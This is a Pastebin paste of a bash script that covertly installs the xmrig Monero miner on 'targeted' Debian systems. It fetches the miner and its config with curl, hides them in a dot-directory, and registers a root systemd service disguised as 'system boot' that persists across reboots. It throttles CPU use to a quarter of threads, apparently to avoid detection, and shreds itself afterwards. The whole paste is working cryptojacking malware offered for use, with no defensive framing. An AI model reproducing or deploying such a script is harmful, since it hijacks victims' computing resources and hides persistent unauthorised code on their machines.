Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # An automated monero mining (injector) scripts which mines monero for you in targeted system
- # Simple automated script which injects xmrig miner to debain based systems as a system service and persists along reboots.
- # Simple to use. kindly change url of xmrig and config.json to your file location address.
- # PLEASE DON'T FORGET TO ADD URL OF XMRIG AND CONFIG. YOU CAN ALSO SET YOUR OWN FTP SERVER AND PLACE FILES IN IT.
- if [[ $EUID -eq 0 ]]
- then
- dircheck="/usr/share/.logstxt"
- filcheck="/etc/systemd/systemd/xmrig.service"
- filename="$0"
- exits () {
- if [[ -d "$dircheck" ]]
- then
- rm -r ${dircheck}
- fi
- if [[ -f "$filcheck" ]]
- then
- rm ${filcheck}
- fi
- }
- exits
- files=$(curl -s -O <url of xmrig> -O <url for config.json> ) #add url of xmrig file and config.json.
- touch xmrig.service
- per=$(chmod 777 xmrig config.json && chmod 644 xmrig.service)
- dir=$(mkdir /usr/share/.logstxt)
- move=$(mv xmrig config.json /usr/share/.logstxt/ && mv xmrig.service /etc/systemd/system/)
- threads=$(lscpu -p | grep -c "^[0-9]")
- tf=$(printf %.f "$((25 * $threads))e-2")
- append=$(echo -e "[Unit]\nDescription=system boot\nAfter=network.target\n\n[Service]\nType=simple\nRestart=on-failure\nRestartSec=1200\nUser=root\nExecStart=/usr/share/.logstxt/xmrig -c /usr/share/.logstxt/config.json -- threads=$tf\nRemainAfterExit=yes\nKillMode=process\n\n[Install]\nWantedBy=multi-user.target">/etc/systemd/system/xmrig.service)
- sys=$(echo "vm.nr_hugepages=1280">>/etc/sysctl.conf)
- system=$(sysctl --quiet --system && systemctl daemon-reload && systemctl enable --now xmrig --quiet)
- $files
- $per
- $dir
- $move
- $append
- $sys
- $system
- if [[ $? -eq 0 ]]
- then
- shred -u ${filename}
- fi
- else
- echo "Please Run as root!"
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement